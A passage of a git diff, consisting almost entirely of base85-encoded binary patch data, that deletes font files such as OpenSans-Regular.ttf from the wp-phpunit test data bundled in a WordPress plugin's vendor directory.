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
        • ?p@wz#0(@#h4_2bKBkZ5!)1&Ck+fnn8 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 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.ttf b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.ttf deleted file mode 100644 index ae716936e9e4c1d23bd12f7d7e44fdc695627a5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 130976 zcmbS!2Vm4i_W#U$zq{!WinN66CYx-^rtEHZQ>f`Ap(Kz12{pYynkh69LJ=_n(nKi& zB4EMu7Tclcc@`{ZJM^sB0Qp(aQ>^EKu>a4@cXktzYyTuO@6DU?X5PH_X1?E@oe)Y0 z8Hh+F#tAvOdA~pM$aF%KHbUr=6N-yUc7OQ!B0?5*5|aMIgp%o5gQ^X+goN!Oq`$tX zB+0(x;F?TA*kH6$QBs;&I)7lshp2lD=~>mym2J&duI`na1iZnudnQABi9fU>c=BLxV~v=U4=4l3L&lrLW@!wYAb6DkDc3y ze6&eY8bAm-9fG2e=a#H^fBF3WV}2w7V2z*mUU}vp9G<@J{d-aOMZb4_A$Ot&7ww0)?h7vH zyolooTU^uGK*3>geM2VzZS1UUqM@h}fgb8niV;Rfit4-{qJK1m{vdF4n~oqgB3D%p zgQ~;0lhs#2*`-1DDzUSzqJ)f25$4Vy#teHnDjnfptWzK7gLcHs9gS&iQ#z^*0x$Svev 